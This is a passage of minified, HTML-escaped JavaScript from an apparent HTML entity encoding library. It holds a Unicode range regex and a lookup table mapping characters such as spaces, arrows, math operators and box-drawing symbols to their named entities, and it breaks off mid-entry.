\u210A-\u2113\u2115-\u211E\u2122\u2124\u2127-\u2129\u212C\u212D\u212F-\u2131\u2133-\u2138\u2145-\u2148\u2153-\u215E\u2190-\u219B\u219D-\u21A7\u21A9-\u21AE\u21B0-\u21B3\u21B5-\u21B7\u21BA-\u21DB\u21DD\u21E4\u21E5\u21F5\u21FD-\u2205\u2207-\u2209\u220B\u220C\u220F-\u2214\u2216-\u2218\u221A\u221D-\u2238\u223A-\u2257\u2259\u225A\u225C\u225F-\u2262\u2264-\u228B\u228D-\u229B\u229D-\u22A5\u22A7-\u22B0\u22B2-\u22BB\u22BD-\u22DB\u22DE-\u22E3\u22E6-\u22F7\u22F9-\u22FE\u2305\u2306\u2308-\u2310\u2312\u2313\u2315\u2316\u231C-\u231F\u2322\u2323\u232D\u232E\u2336\u233D\u233F\u237C\u23B0\u23B1\u23B4-\u23B6\u23DC-\u23DF\u23E2\u23E7\u2423\u24C8\u2500\u2502\u250C\u2510\u2514\u2518\u251C\u2524\u252C\u2534\u253C\u2550-\u256C\u2580\u2584\u2588\u2591-\u2593\u25A1\u25AA\u25AB\u25AD\u25AE\u25B1\u25B3-\u25B5\u25B8\u25B9\u25BD-\u25BF\u25C2\u25C3\u25CA\u25CB\u25EC\u25EF\u25F8-\u25FC\u2605\u2606\u260E\u2640\u2642\u2660\u2663\u2665\u2666\u266A\u266D-\u266F\u2713\u2717\u2720\u2736\u2758\u2772\u2773\u27C8\u27C9\u27E6-\u27ED\u27F5-\u27FA\u27FC\u27FF\u2902-\u2905\u290C-\u2913\u2916\u2919-\u2920\u2923-\u292A\u2933\u2935-\u2939\u293C\u293D\u2945\u2948-\u294B\u294E-\u2976\u2978\u2979\u297B-\u297F\u2985\u2986\u298B-\u2996\u299A\u299C\u299D\u29A4-\u29B7\u29B9\u29BB\u29BC\u29BE-\u29C5\u29C9\u29CD-\u29D0\u29DC-\u29DE\u29E3-\u29E5\u29EB\u29F4\u29F6\u2A00-\u2A02\u2A04\u2A06\u2A0C\u2A0D\u2A10-\u2A17\u2A22-\u2A27\u2A29\u2A2A\u2A2D-\u2A31\u2A33-\u2A3C\u2A3F\u2A40\u2A42-\u2A4D\u2A50\u2A53-\u2A58\u2A5A-\u2A5D\u2A5F\u2A66\u2A6A\u2A6D-\u2A75\u2A77-\u2A9A\u2A9D-\u2AA2\u2AA4-\u2AB0\u2AB3-\u2AC8\u2ACB\u2ACC\u2ACF-\u2ADB\u2AE4\u2AE6-\u2AE9\u2AEB-\u2AF3\u2AFD\uFB00-\uFB04]|\uD835[\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDCCF\uDD04\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDD6B]/g,h={&quot;­&quot;:&quot;shy&quot;,&quot;‌&quot;:&quot;zwnj&quot;,&quot;‍&quot;:&quot;zwj&quot;,&quot;‎&quot;:&quot;lrm&quot;,&quot;⁣&quot;:&quot;ic&quot;,&quot;⁢&quot;:&quot;it&quot;,&quot;⁡&quot;:&quot;af&quot;,&quot;‏&quot;:&quot;rlm&quot;,&quot;​&quot;:&quot;ZeroWidthSpace&quot;,&quot;⁠&quot;:&quot;NoBreak&quot;,&quot;̑&quot;:&quot;DownBreve&quot;,&quot;⃛&quot;:&quot;tdot&quot;,&quot;⃜&quot;:&quot;DotDot&quot;,&quot;\t&quot;:&quot;Tab&quot;,&quot;\n&quot;:&quot;NewLine&quot;,&quot; &quot;:&quot;puncsp&quot;,&quot; &quot;:&quot;MediumSpace&quot;,&quot; &quot;:&quot;thinsp&quot;,&quot; &quot;:&quot;hairsp&quot;,&quot; &quot;:&quot;emsp13&quot;,&quot; &quot;:&quot;ensp&quot;,&quot; &quot;:&quot;emsp14&quot;,&quot; &quot;:&quot;emsp&quot;,&quot; &quot;:&quot;numsp&quot;,&quot; &quot;:&quot;nbsp&quot;,&quot;  &quot;:&quot;ThickSpace&quot;,&quot;‾&quot;:&quot;oline&quot;,_:&quot;lowbar&quot;,&quot;‐&quot;:&quot;dash&quot;,&quot;–&quot;:&quot;ndash&quot;,&quot;—&quot;:&quot;mdash&quot;,&quot;―&quot;:&quot;horbar&quot;,&quot;,&quot;:&quot;comma&quot;,&quot;;&quot;:&quot;semi&quot;,&quot;⁏&quot;:&quot;bsemi&quot;,&quot;:&quot;:&quot;colon&quot;,&quot;⩴&quot;:&quot;Colone&quot;,&quot;!&quot;:&quot;excl&quot;,&quot;¡&quot;:&quot;iexcl&quot;,&quot;?&quot;:&quot;quest&quot;,&quot;¿&quot;:&quot;iquest&quot;,&quot;.&quot;:&quot;period&quot;,&quot;‥&quot;:&quot;nldr&quot;,&quot;…&quot;:&quot;mldr&quot;,&quot;·&quot;:&quot;middot&quot;,&quot;&#039;&quot;:&quot;apos&quot;,&quot;‘&quot;:&quot;lsquo&quot;,&quot;’&quot;:&quot;rsquo&quot;,&quot;‚&quot;:&quot;sbquo&quot;,&quot;‹&quot;:&quot;lsaquo&quot;,&quot;›&quot;:&quot;rsaquo&quot;,&#039;&quot;&#039;:&quot;quot&quot;,&quot;“&quot;:&quot;ldquo&quot;,&quot;”&quot;:&quot;rdquo&quot;,&quot;„&quot;:&quot;bdquo&quot;,&quot;«&quot;:&quot;laquo&quot;,&quot;»&quot;:&quot;raquo&quot;,&quot;(&quot;:&quot;lpar&quot;,&quot;)&quot;:&quot;rpar&quot;,&quot;[&quot;:&quot;lsqb&quot;,&quot;]&quot;:&quot;rsqb&quot;,&quot;{&quot;:&quot;lcub&quot;,&quot;}&quot;:&quot;rcub&quot;,&quot;⌈&quot;:&quot;lceil&quot;,&quot;⌉&quot;:&quot;rceil&quot;,&quot;⌊&quot;:&quot;lfloor&quot;,&quot;⌋&quot;:&quot;rfloor&quot;,&quot;⦅&quot;:&quot;lopar&quot;,&quot;⦆&quot;:&quot;ropar&quot;,&quot;⦋&quot;:&quot;lbrke&quot;,&quot;⦌&quot;:&quot;rbrke&quot;,&quot;⦍&quot;:&quot;lbrkslu&quot;,&quot;⦎&quot;:&quot;rbrksld&quot;,&quot;⦏&quot;:&quot;lbrksld&quot;,&quot;⦐&quot;:&quot;rbrkslu&quot;,&quot;⦑&quot;:&quot;langd&quot;,&quot;⦒&quot;:&quot;rangd&quot;,&quot;⦓&quot;:&quot;lparlt&quot;,&quot;⦔&quot;:&quot;rpargt&quot;,&quot;⦕&quot;:&quot;gtlPar&quot;,&quot;⦖&quot;:&quot;ltrPar&quot;,&quot;⟦&quot;:&quot;lobrk&quot;,&quot;⟧&quot;:&quot;robrk&quot;,&quot;⟨&quot;:&quot;lang&quot;,&quot;⟩&quot;:&quot;rang&quot;,&quot;⟪&quot;:&quot;Lang&quot;,&quot;⟫&quot;:&quot;Rang&quot;,&quot;⟬&quot;:&quot;loang&quot;,&quot;⟭&quot;:&quot;roang&quot;,&quot;❲&quot;:&quot;lbbrk&quot;,&quot;❳&quot;:&quot;rbbrk&quot;,&quot;‖&quot;:&quot;Vert&quot;,&quot;§&quot;:&quot;sect&quot;,&quot;¶&quot;:&quot;para&quot;,&quot;@&quot;:&quot;commat&quot;,&quot;*&quot;:&quot;ast&quot;,&quot;/&quot;:&quot;sol&quot;,undefined:null,&quot;&amp;&quot;:&quot;amp&quot;,&quot;#&quot;:&quot;num&quot;,&quot;%&quot;:&quot;percnt&quot;,&quot;‰&quot;:&quot;permil&quot;,&quot;‱&quot;:&quot;pertenk&quot;,&quot;†&quot;:&quot;dagger&quot;,&quot;‡&quot;:&quot;Dagger&quot;,&quot;•&quot;:&quot;bull&quot;,&quot;⁃&quot;:&quot;hybull&quot;,&quot;′&quot;:&quot;prime&quot;,&quot;″&quot;:&quot;Prime&quot;,&quot;‴&quot;:&quot;tprime&quot;,&quot;⁗&quot;:&quot;qprime&quot;,&quot;‵&quot;:&quot;bprime&quot;,&quot;⁁&quot;:&quot;caret&quot;,&quot;`&quot;:&quot;grave&quot;,&quot;´&quot;:&quot;acute&quot;,&quot;˜&quot;:&quot;tilde&quot;,&quot;^&quot;:&quot;Hat&quot;,&quot;¯&quot;:&quot;macr&quot;,&quot;˘&quot;:&quot;breve&quot;,&quot;˙&quot;:&quot;dot&quot;,&quot;¨&quot;:&quot;die&quot;,&quot;˚&quot;:&quot;ring&quot;,&quot;˝&quot;:&quot;dblac&quot;,&quot;¸&quot;:&quot;cedil&quot;,&quot;˛&quot;:&quot;ogon&quot;,&quot;ˆ&quot;:&quot;circ&quot;,&quot;ˇ&quot;:&quot;caron&quot;,&quot;°&quot;:&quot;deg&quot;,&quot;©&quot;:&quot;copy&quot;,&quot;®&quot;:&quot;reg&quot;,&quot;℗&quot;:&quot;copysr&quot;,&quot;℘&quot;:&quot;wp&quot;,&quot;℞&quot;:&quot;rx&quot;,&quot;℧&quot;:&quot;mho&quot;,&quot;℩&quot;:&quot;iiota&quot;,&quot;←&quot;:&quot;larr&quot;,&quot;↚&quot;:&quot;nlarr&quot;,&quot;→&quot;:&quot;rarr&quot;,&quot;↛&quot;:&quot;nrarr&quot;,&quot;↑&quot;:&quot;uarr&quot;,&quot;↓&quot;:&quot;darr&quot;,&quot;↔&quot;:&quot;harr&quot;,&quot;↮&quot;:&quot;nharr&quot;,&quot;↕&quot;:&quot;varr&quot;,&quot;↖&quot;:&quot;nwarr&quot;,&quot;↗&quot;:&quot;nearr&quot;,&quot;↘&quot;:&quot;searr&quot;,&quot;↙&quot;:&quot;swarr&quot;,&quot;↝&quot;:&quot;rarrw&quot;,&quot;↝̸&quot;:&quot;nrarrw&quot;,&quot;↞&quot;:&quot;Larr&quot;,&quot;↟&quot;:&quot;Uarr&quot;,&quot;↠&quot;:&quot;Rarr&quot;,&quot;↡&quot;:&quot;Darr&quot;,&quot;↢&quot;:&quot;larrtl&quot;,&quot;↣&quot;:&quot;rarrtl&quot;,&quot;↤&quot;:&quot;mapstoleft&quot;,&quot;↥&quot;:&quot;mapstoup&quot;,&quot;↦&quot;:&quot;map&quot;,&quot;↧&quot;:&quot;mapstodown&quot;,&quot;↩&quot;:&quot;larrhk&quot;,&quot;↪&quot;:&quot;rarrhk&quot;,&quot;↫&quot;:&quot;larrlp&quot;,&quot;↬&quot;:&quot;rarrlp&quot;,&quot;↭&quot;:&quot;harrw&quot;,&quot;↰&quot;:&quot;lsh&quot;,&quot;↱&quot;:&quot;rsh&quot;,&quot;↲&quot;:&quot;ldsh&quot;,&quot;↳&quot;:&quot;rdsh&quot;,&quot;↵&quot;:&quot;crarr&quot;,&quot;↶&quot;:&quot;cularr&quot;,&quot;↷&quot;:&quot;curarr&quot;,&quot;↺&quot;:&quot;olarr&quot;,&quot;↻&quot;:&quot;orarr&quot;,&quot;↼&quot;:&quot;lharu&quot;,&quot;↽&quot;:&quot;lhard&quot;,&quot;↾&quot;:&quot;uharr&quot;,&quot;↿&quot;:&quot;uharl&quot;,&quot;⇀&quot;:&quot;rharu&quot;,&quot;⇁&quot;:&quot;rhard&quot;,&quot;⇂&quot;:&quot;dharr&quot;,&quot;⇃&quot;:&quot;dharl&quot;,&quot;⇄&quot;:&quot;rlarr&quot;,&quot;⇅&quot;:&quot;udarr&quot;,&quot;⇆&quot;:&quot;lrarr&quot;,&quot;⇇&quot;:&quot;llarr&quot;,&quot;⇈&quot;:&quot;uuarr&quot;,&quot;⇉&quot;:&quot;rrarr&quot;,&quot;⇊&quot;:&quot;ddarr&quot;,&quot;⇋&quot;:&quot;lrhar&quot;,&quot;⇌&quot;:&quot;rlhar&quot;,&quot;⇐&quot;:&quot;lArr&quot;,&quot;⇍&quot;:&quot;nlArr&quot;,&quot;⇑&quot;:&quot;uArr&quot;,&quot;⇒&quot;:&quot;rArr&quot;,&quot;⇏&quot;:&quot;nrArr&quot;,&quot;⇓&quot;:&quot;dArr&quot;,&quot;⇔&quot;:&quot;iff&quot;,&quot;⇎&quot;:&quot;nhArr&quot;,&quot;⇕&quot;:&quot;vArr&quot;,&quot;⇖&quot;:&quot;nwArr&quot;,&quot;⇗&quot;:&quot;neArr&quot;,&quot;⇘&quot;:&quot;seArr&quot;,&quot;⇙&quot;:&quot;swArr&quot;,&quot;⇚&quot;:&quot;lAarr&quot;,&quot;⇛&quot;:&quot;rAarr&quot;,&quot;⇝&quot;:&quot;zigrarr&quot;,&quot;⇤&quot;:&quot;larrb&quot;,&quot;⇥&quot;:&quot;rarrb&quot;,&quot;⇵&quot;:&quot;duarr&quot;,&quot;⇽&quot;:&quot;loarr&quot;,&quot;⇾&quot;:&quot;roarr&quot;,&quot;⇿&quot;:&quot;hoarr&quot;,&quot;∀&quot;:&quot;forall&quot;,&quot;∁&quot;:&quot;comp&quot;,&quot;∂&quot;:&quot;part&quot;,&quot;∂̸&quot;:&quot;npart&quot;,&quot;∃&quot;:&quot;exist&quot;,&quot;∄&quot;:&quot;nexist&quot;,&quot;∅&quot;:&quot;empty&quot;,&quot;∇&quot;:&quot;Del&quot;,&quot;∈&quot;:&quot;in&quot;,&quot;∉&quot;:&quot;notin&quot;,&quot;∋&quot;:&quot;ni&quot;,&quot;∌&quot;:&quot;notni&quot;,&quot;϶&quot;:&quot;bepsi&quot;,&quot;∏&quot;:&quot;prod&quot;,&quot;∐&quot;:&quot;coprod&quot;,&quot;∑&quot;:&quot;sum&quot;,&quot;+&quot;:&quot;plus&quot;,&quot;±&quot;:&quot;pm&quot;,&quot;÷&quot;:&quot;div&quot;,&quot;×&quot;:&quot;times&quot;,&quot;&lt;&quot;:&quot;lt&quot;,&quot;≮&quot;:&quot;nlt&quot;,&quot;&lt;⃒&quot;:&quot;nvlt&quot;,&quot;=&quot;:&quot;equals&quot;,&quot;≠&quot;:&quot;ne&quot;,&quot;=⃥&quot;:&quot;bne&quot;,&quot;⩵&quot;:&quot;Equal&quot;,&quot;&gt;&quot;:&quot;gt&quot;,&quot;≯&quot;:&quot;ngt&quot;,&quot;&gt;⃒&quot;:&quot;nvgt&quot;,&quot;¬&quot;:&quot;not&quot;,&quot;|&quot;:&quot;vert&quot;,&quot;¦&quot;:&quot;brvbar&quot;,&quot;−&quot;:&quot;minus&quot;,&quot;∓&quot;:&quot;mp&quot;,&quot;∔&quot;:&quot;plusdo&quot;,&quot;⁄&quot;:&quot;frasl&quot;,&quot;∖&quot;:&quot;setmn&quot;,&quot;∗&quot;:&quot;lowast&quot;,&quot;∘&quot;:&quot;compfn&quot;,&quot;√&quot;:&quot;Sqrt&quot;,&quot;∝&quot;:&quot;prop&quot;,&quot;∞&quot;:&quot;infin&quot;,&quot;∟&quot;:&quot;angrt&quot;,&quot;∠&quot;:&quot;ang&quot;,&quot;∠⃒&quot;:&quot;nang&quot;,&quot;∡&quot;:&quot;angmsd&quot;,&quot;∢&quot;:&quot;angsph&quot;,&quot;∣&quot;:&quot;mid&quot;,&quot;∤&quot;:&quot;nmid&quot;,&quot;∥&quot;:&quot;par&quot;,&quot;∦&quot;:&quot;npar&quot;,&quot;∧&quot;:&quot;and&quot;,&quot;∨&quot;:&quot;or&quot;,&quot;∩&quot;:&quot;cap&quot;,&quot;∩︀&quot;:&quot;caps&quot;,&quot;∪&quot;:&quot;cup&quot;,&quot;∪︀&quot;:&quot;cups&quot;,&quot;∫&quot;:&quot;int&quot;,&quot;∬&quot;:&quot;Int&quot;,&quot;∭&quot;:&quot;tint&quot;,&quot;⨌&quot;:&quot;qint&quot;,&quot;∮&quot;:&quot;oint&quot;,&quot;∯&quot;:&quot;Conint&quot;,&quot;∰&quot;:&quot;Cconint&quot;,&quot;∱&quot;:&quot;cwint&quot;,&quot;∲&quot;:&quot;cwconint&quot;,&quot;∳&quot;:&quot;awconint&quot;,&quot;∴&quot;:&quot;there4&quot;,&quot;∵&quot;:&quot;becaus&quot;,&quot;∶&quot;:&quot;ratio&quot;,&quot;∷&quot;:&quot;Colon&quot;,&quot;∸&quot;:&quot;minusd&quot;,&quot;∺&quot;:&quot;mDDot&quot;,&quot;∻&quot;:&quot;homtht&quot;,&quot;∼&quot;:&quot;sim&quot;,&quot;≁&quot;:&quot;nsim&quot;,&quot;∼⃒&quot;:&quot;nvsim&quot;,&quot;∽&quot;:&quot;bsim&quot;,&quot;∽̱&quot;:&quot;race&quot;,&quot;∾&quot;:&quot;ac&quot;,&quot;∾̳&quot;:&quot;acE&quot;,&quot;∿&quot;:&quot;acd&quot;,&quot;≀&quot;:&quot;wr&quot;,&quot;≂&quot;:&quot;esim&quot;,&quot;≂̸&quot;:&quot;nesim&quot;,&quot;≃&quot;:&quot;sime&quot;,&quot;≄&quot;:&quot;nsime&quot;,&quot;≅&quot;:&quot;cong&quot;,&quot;≇&quot;:&quot;ncong&quot;,&quot;≆&quot;:&quot;simne&quot;,&quot;≈&quot;:&quot;ap&quot;,&quot;≉&quot;:&quot;nap&quot;,&quot;≊&quot;:&quot;ape&quot;,&quot;≋&quot;:&quot;apid&quot;,&quot;≋̸&quot;:&quot;napid&quot;,&quot;≌&quot;:&quot;bcong&quot;,&quot;≍&quot;:&quot;CupCap&quot;,&quot;≭&quot;:&quot;NotCupCap&quot;,&quot;≍⃒&quot;:&quot;nvap&quot;,&quot;≎&quot;:&quot;bump&quot;,&quot;≎̸&quot;:&quot;nbump&quot;,&quot;≏&quot;:&quot;bumpe&quot;,&quot;≏̸&quot;:&quot;nbumpe&quot;,&quot;≐&quot;:&quot;doteq&quot;,&quot;≐̸&quot;:&quot;nedot&quot;,&quot;≑&quot;:&quot;eDot&quot;,&quot;≒&quot;:&quot;efDot&quot;,&quot;≓&quot;:&quot;erDot&quot;,&quot;≔&quot;:&quot;colone&quot;,&quot;≕&quot;:&quot;ecolon&quot;,&quot;≖&quot;:&quot;ecir&quot;,&quot;≗&quot;:&quot;cire&quot;,&quot;≙&quot;:&quot;wedgeq&quot;,&quot;≚&quot;:&quot;veeeq&quot;,&quot;≜&quot;:&quot;trie&quot;,&quot;≟&quot;:&quot;equest&quot;,&quot;≡&quot;:&quot;equiv&quot;,&quot;≢&quot;:&quot;nequiv&quot;,&quot;≡⃥&quot;:&quot;bnequiv&quot;,&quot;≤&quot;:&quot;le&quot;,&quot;≰&quot;:&quot;nle&quot;,&quot;≤⃒&quot;:&quot;nvle&quot;,&quot;≥&quot;:&quot;ge&quot;,&quot;≱&quot;:&quot;nge&quot;,&quot;≥⃒&quot;:&quot;nvge&quot;,&quot;≦&quot;:&quot;lE&quot;,&quot;≦̸&quot;:&quot;nlE&quot;,&quot;≧&quot;:&quot;gE&quot;,&quot;≧̸&quot;:&quot;ngE&quot;,&quot;≨︀&quot;:&quot;lvnE&quot;,&quot;≨&quot;:&quot;lnE&quot;,&quot;≩&quot;:&quot;gnE&quot;,&quot;≩︀&quot;:&quot;gvnE&quot;,&quot;≪&quot;:&quot;ll&quot;,&quot;≪̸&quot;:&quot;nLtv&quot;,&quot;≪⃒&quot;:&quot;nLt&quot;,&quot;≫&quot;:&quot;gg&quot;,&quot;≫̸&quot;:&quot;nGtv&quot;,&quot;≫⃒&quot;:&quot;nGt&quot;,&quot;≬&quot;:&quot;twixt&quot;,&quot;≲&quot;:&quot;lsim&quot;,&quot;≴&quot;:&quot;nlsim&quot;,&quot;≳&quot;:&quot;gsim&quot;,&quot;≵&quot;:&quot;ngsim&quot;,&quot;≶&quot;:&quot;lg&quot;,&quot;≸&quot;:&quot;ntlg&quot;,&quot;≷&quot;:&quot;gl&quot;,&quot;≹&quot;:&quot;ntgl&quot;,&quot;≺&quot;:&quot;pr&quot;,&quot;⊀&quot;:&quot;npr&quot;,&quot;≻&quot;:&quot;sc&quot;,&quot;⊁&quot;:&quot;nsc&quot;,&quot;≼&quot;:&quot;prcue&quot;,&quot;⋠&quot;:&quot;nprcue&quot;,&quot;≽&quot;:&quot;sccue&quot;,&quot;⋡&quot;:&quot;nsccue&quot;,&quot;≾&quot;:&quot;prsim&quot;,&quot;≿&quot;:&quot;scsim&quot;,&quot;≿̸&quot;:&quot;NotSucceedsTilde&quot;,&quot;⊂&quot;:&quot;sub&quot;,&quot;⊄&quot;:&quot;nsub&quot;,&quot;⊂⃒&quot;:&quot;vnsub&quot;,&quot;⊃&quot;:&quot;sup&quot;,&quot;⊅&quot;:&quot;nsup&quot;,&quot;⊃⃒&quot;:&quot;vnsup&quot;,&quot;⊆&quot;:&quot;sube&quot;,&quot;⊈&quot;:&quot;nsube&quot;,&quot;⊇&quot;:&quot;supe&quot;,&quot;⊉&quot;:&quot;nsupe&quot;,&quot;⊊︀&quot;:&quot;vsubne&quot;,&quot;⊊&quot;:&quot;subne&quot;,&quot;⊋︀&quot;:&quot;vsupne&quot;,&quot;⊋&quot;:&quot;supne&quot;,&quot;⊍&quot;:&quot;cupdot&quot;,&quot;⊎&quot;:&quot;uplus&quot;,&quot;⊏&quot;:&quot;sqsub&quot;,&quot;⊏̸&quot;:&quot;NotSquareSubset&quot;,&quot;⊐&quot;:&quot;sqsup&quot;,&quot;⊐̸&quot;:&quot;NotSquareSuperset&quot;,&quot;⊑&quot;:&quot;sqsube&quot;,&quot;⋢&quot;:&quot;nsqsube&quot;,&quot;⊒&quot;:&quot;sqsupe&quot;,&quot;⋣&quot;:&quot;nsqsupe&quot;,&quot;⊓&quot;:&quot;sqcap&quot;,&quot;⊓︀&quot;:&quot;sqcaps&quot;,&quot;⊔&quot;:&quot;sqcup&quot;,&quot;⊔︀&quot;:&quot;sqcups&quot;,&quot;⊕&quot;:&quot;oplus&quot;,&quot;⊖&quot;:&quot;ominus&quot;,&quot;⊗&quot;:&quot;otimes&quot;,&quot;⊘&quot;:&quot;osol&quot;,&quot;⊙&quot;:&quot;odot&quot;,&quot;⊚&quot;:&quot;ocir&quot;,&quot;⊛&quot;:&quot;oast&quot;,&quot;⊝&quot;:&quot;odash&quot;,&quot;⊞&quot;:&quot;plusb&quot;,&quot;⊟&quot;:&quot;minusb&quot;,&quot;⊠&quot;:&quot;timesb&quot;,&quot;⊡&quot;:&quot;sdotb&quot;,&quot;⊢&quot;:&quot;vdash&quot;,&quot;⊬&quot;:&quot;nvdash&quot;,&quot;⊣&quot;:&quot;dashv&quot;,&quot;⊤&quot;:&quot;top&quot;,&quot;⊥&quot;:&quot;bot&quot;,&quot;⊧&quot;:&quot;models&quot;,&quot;⊨&quot;:&quot;vDash&quot;,&quot;⊭&quot;:&quot;nvDash&quot;,&quot;⊩&quot;:&quot;Vdash&quot;,&quot;⊮&quot;:&quot;nVdash&quot;,&quot;⊪&quot;:&quot;Vvdash&quot;,&quot;⊫&quot;:&quot;VDash&quot;,&quot;⊯&quot;:&quot;nVDash&quot;,&quot;⊰&quot;:&quot;prurel&quot;,&quot;⊲&quot;:&quot;vltri&quot;,&quot;⋪&quot;:&quot;nltri&quot;,&quot;⊳&quot;:&quot;vrtri&quot;,&quot;⋫&quot;:&quot;nrtri&quot;,&quot;⊴&quot;:&quot;ltrie&quot;,&quot;⋬&quot;:&quot;nltrie&quot;,&quot;⊴⃒&quot;:&quot;nvltrie&quot;,&quot;⊵&quot;:&quot;rtrie&quot;,&quot;⋭&quot;:&quot;nrtrie&quot;,&quot;⊵⃒&quot;:&quot;nvrtrie&quot;,&quot;⊶&quot;:&quot;origof&quot;,&quot;⊷&quot;:&quot;imof&quot;,&quot;⊸&quot;:&quot;mumap&quot;,&quot;⊹&quot;:&quot;hercon&quot;,&quot;⊺&quot;:&quot;intcal&quot;,&quot;⊻&quot;:&quot;veebar&quot;,&quot;⊽&quot;:&quot;barvee&quot;,&quot;⊾&quot;:&quot;angrtvb&quot;,&quot;⊿&quot;:&quot;lrtri&quot;,&quot;⋀&quot;:&quot;Wedge&quot;,&quot;⋁&quot;:&quot;Vee&quot;,&quot;⋂&quot;:&quot;xcap&quot;,&quot;⋃&quot;:&quot;xcup&quot;,&quot;⋄&quot;:&quot;diam&quot;,&quot;⋅&quot;:&quot;sdot&quot;,&quot;⋆&quot;:&quot;Star&quot;,&quot;⋇&quot;:&quot;divonx&quot;,&quot;⋈&quot;:&quot;bowtie&quot;,&quot;⋉&quot;:&quot;ltimes&quot;,&quot;⋊&quot;:&quot;rtimes&quot;,&quot;⋋&quot;:&quot;lthree&quot;,&quot;⋌&quot;:&quot;rthree&quot;,&quot;⋍&quot;:&quot;bsime&quot;,&quot;⋎&quot;:&quot;cuvee&quot;,&quot;⋏&quot;:&quot;cuwed&quot;,&quot;⋐&quot;:&quot;Sub&quot;,&quot;⋑&quot;:&quot;Sup&quot;,&quot;⋒&quot;:&quot;Cap&quot;,&quot;⋓&quot;:&quot;Cup&quot;,&quot;⋔&quot;:&quot;fork&quot;,&quot;⋕&quot;:&quot;epar&quot;,&quot;⋖&quot;:&quot;ltdot&quot;,&quot;⋗&quot;:&quot;gtdot&quot;,&quot;⋘&quot;:&quot;Ll&quot;,&quot;⋘̸&quot;:&quot;nLl&quot;,&quot;⋙&quot;:&quot;Gg&quot;,&quot;⋙̸&quot;:&quot;nGg&quot;,&quot;⋚︀&quot;:&quot;lesg&quot;,&quot;⋚&quot;:&quot;leg&quot;,&quot;⋛&quot;:&quot;gel&quot;,&quot;⋛︀&quot;:&quot;gesl&quot;,&quot;⋞&quot;:&quot;cuepr&quot;,&quot;⋟&quot;:&quot;cuesc&quot;,&quot;⋦&quot;:&quot;lnsim&quot;,&quot;⋧&quot;:&quot;gnsim&quot;,&quot;⋨&quot;:&quot;prnsim&quot;,&quot;⋩&quot;:&quot;scnsim&quot;,&quot;⋮&quot;:&quot;vellip&quot;,&quot;⋯&quot;:&quot;ctdot&quot;,&quot;⋰&quot;:&quot;utdot&quot;,&quot;⋱&quot;:&quot;dtdot&quot;,&quot;⋲&quot;:&quot;disin&quot;,&quot;⋳&quot;:&quot;isinsv&quot;,&quot;⋴&quot;:&quot;isins&quot;,&quot;⋵&quot;:&quot;isindot&quot;,&quot;⋵̸&quot;:&quot;notindot&quot;,&quot;⋶&quot;:&quot;notinvc&quot;,&quot;⋷&quot;:&quot;notinvb&quot;,&quot;⋹&quot;:&quot;isinE&quot;,&quot;⋹̸&quot;:&quot;notinE&quot;,&quot;⋺&quot;:&quot;nisd&quot;,&quot;⋻&quot;:&quot;xnis&quot;,&quot;⋼&quot;:&quot;nis&quot;,&quot;⋽&quot;:&quot;notnivc&quot;,&quot;⋾&quot;:&quot;notnivb&quot;,&quot;⌅&quot;:&quot;barwed&quot;,&quot;⌆&quot;:&quot;Barwed&quot;,&quot;⌌&quot;:&quot;drcrop&quot;,&quot;⌍&quot;:&quot;dlcrop&quot;,&quot;⌎&quot;:&quot;urcrop&quot;,&quot;⌏&quot;:&quot;ulcrop&quot;,&quot;⌐&quot;:&quot;bnot&quot;,&quot;⌒&quot;:&quot;profline&quot;,&quot;⌓&quot;:&quot;profsurf&quot;,&quot;⌕&quot;:&quot;telrec&quot;,&quot;⌖&quot;:&quot;target&quot;,&quot;⌜&quot;:&quot;ulcorn&quot;,&quot;⌝&quot;:&quot;urcorn&quot;,&quot;⌞&quot;:&quot;dlcorn&quot;,&quot;⌟&quot;:&quot;drcorn&quot;,&quot;⌢&quot;:&quot;frown&quot;,&quot;⌣&quot;:&quot;smile&quot;,&quot;⌭&quot;:&quot;cylcty&quot;,&quot;⌮&quot;:&quot;profalar&quot;,&quot;⌶&quot;:&quot;topbot&quot;,&quot;⌽&quot;:&quot;ovbar&quot;,&quot;⌿&quot;:&quot;solbar&quot;,&quot;⍼&quot;:&quot;angzarr&quot;,&quot;⎰&quot;:&quot;lmoust&quot;,&quot;⎱&quot;:&quot;rmoust&quot;,&quot;⎴&quot;:&quot;tbrk&quot;,&quot;⎵&quot;:&quot;bbrk&quot;,&quot;⎶&quot;:&quot;bbrktbrk&quot;,&quot;⏜&quot;:&quot;OverParenthesis&quot;,&quot;⏝&quot;:&quot;UnderParenthesis&quot;,&quot;⏞&quot;:&quot;OverBrace&quot;,&quot;⏟&quot;:&quot;UnderBrace&quot;,&quot;⏢&quot;:&quot;trpezium&quot;,&quot;⏧&quot;:&quot;elinters&quot;,&quot;␣&quot;:&quot;blank&quot;,&quot;─&quot;:&quot;boxh&quot;,&quot;│&quot;:&quot;boxv&quot;,&quot;┌&quot;:&quot;boxdr&quot;,&quot;┐&quot;:&quot;boxdl&quot;,&quot;└&quot;:&quot;boxur&quot;,&quot;┘&quot;:&quot;boxul&quot;,&quot;├&quot;:&quot;boxvr&quot;,&quot;┤&quot;:&quot;boxvl&quot;,&quot;┬&quot;:&quot;boxhd&quot;,&quot;┴&quot;:&quot;boxhu&quot;,&quot;┼&quot;:&quot;boxvh&quot;,&quot;═&quot;:&quot;boxH&quot;,&quot;║&quot;:&quot;boxV&quot;,&quot;╒&quot;:&quot;boxdR&quot;,&quot;╓&quot;:&quot;boxDr&quot;,&quot;╔&quot;:&quot;boxDR&quot;,&quot;╕&quot;:&quot;boxdL&quot;,&quot;╖&quot;:&quot;boxDl&quot;,&quot;╗&quot;:&quot;boxDL&quot;,&quot;╘&quot;:&quot;boxuR&quot;,&quot;╙&quot;:&quot;boxUr&quot;,&quot;╚&quot;:&quot;boxUR&quot;,&quot;╛&quot;:&quot;boxuL&quot;,&quot;╜&quot;:&quot;boxUl&quot;,&quot;╝&quot;:&quot;boxUL&quot;,&quot;╞&quot;:&quot;boxvR&quot;,&quot;╟&quot;:&quot;boxVr&quot;,&quot;╠&quot;:&quot;boxVR&quot;,&quot;╡&quot;:&quot;boxvL&quot;,&quot;╢&quot;:&quot;boxVl&quot;,&quot;╣&quot;:&quot;boxVL&quot;,&quot;╤&quot;:&quot;boxHd&quot;,&quot;╥&quot;:&quot;boxhD&quot;,&quot;╦&quot;:&quot;box